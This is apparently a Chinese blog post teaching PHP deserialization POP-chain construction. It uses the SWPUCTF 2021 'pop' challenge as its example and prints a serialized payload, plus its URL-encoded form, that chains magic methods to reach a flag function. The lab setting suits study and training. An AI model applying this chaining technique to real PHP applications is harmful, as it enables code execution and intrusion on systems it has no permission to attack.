pop链构造
在PHP反序列化漏洞利用中,POP链(Property Oriented Programming Chain) 是通过魔术方法的自动触发机制,将多个类的方法串联起来,最终执行恶意代码的攻击链。核心思路是:找到入口 → 确定尾巴 → 构建中间桥梁。
1. 明确入口与尾巴
- 入口:常见为 __wakeup()、__destruct() 等在反序列化或对象销毁时自动调用的方法。
- 尾巴:包含危险函数的代码位置,如 eval()、system()、file_put_contents()、include() 等。
- 先锁定尾巴,再反向寻找能触发它的调用链。
2. 利用魔术方法串联 常用魔术方法及触发条件:
-
__get():访问不可访问属性时触发。
-
__set():给不可访问属性赋值时触发。
-
__call():调用不存在方法时触发。
-
__tostring():对象被当作字符串使用时触发。
-
__invoke():对象被当作函数调用时触发。
总之就是
1.寻找可利用的魔术方法作为起点,也就是说链头特征是能够被输入内容的并且能被用户所控制的;
- 构建方法调用链,连接起点和终点;
- 找到危险函数或操作作为终点,也就是说链尾特征是可以读取文件或者能够执行命令的;
- 此时我们找到了链尾,正式开始构造pop链,从链尾反推到链头。
eg.[SWPUCTF 2021 新生赛]pop
代码如下:
1 | <?php |
我们来进行简单分析:
1.对于w44m类;
如果变量前是protected,则会在变量名前加上\x00*\x00,
若是private,则会在变量名前加上\x00类名\x00,输出时一般需要url编码;
最终目标是调用Getflag();
2.对于w22m类;
当类销毁时会输出$this->w00m;
3.对于w33m类;
当w33m类的对象被当做字符串使用时,触发__toString()方法;
接着,我们尝试构造一下pop链,
- 在w44m类中的Getflag作为尾部
- w33m类中有
$this->w00m->{$this->w22m}();,因此我们需要给w00m一个w44m类,给w22m一个Getflag字符串 - 而如何调用w33m类中的__toString()方法呢,我们看到w22m类中有
echo $this->w00m;,需要给w00m一个w33m类即可
1 | w22m::__destruct()->w33m::__toString()->w44m::Getflag() |
接着,我们再尝试构造payload:
1、首先复制源码到编辑器中
将不需要的部分注释掉(和赋值无关的都注释掉)
以下是删除注释后的剩余部分:
1 | <?php |
2、添加pop链和序列化代码
根据前面我们的分析,从pop链的链尾开始赋值
私有和保护属性,采用内部赋值;
对象赋值采用外部赋值:
1 | $a=new w44m();// 创建w44m对象 |
构造得:
1 | O:4:"w22m":1:{s:4:"w00m";O:4:"w33m":2:{s:4:"w00m";O:4:"w44m":2:{s:11:"\00w44m\00admin";s:4:"w44m";s:9:"\00*\00passwd";s:5:"08067";}s:4:"w22m";s:7:"Getflag";}} |
URL编码:
1 | O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D |
然后得到flag。
Leave a comment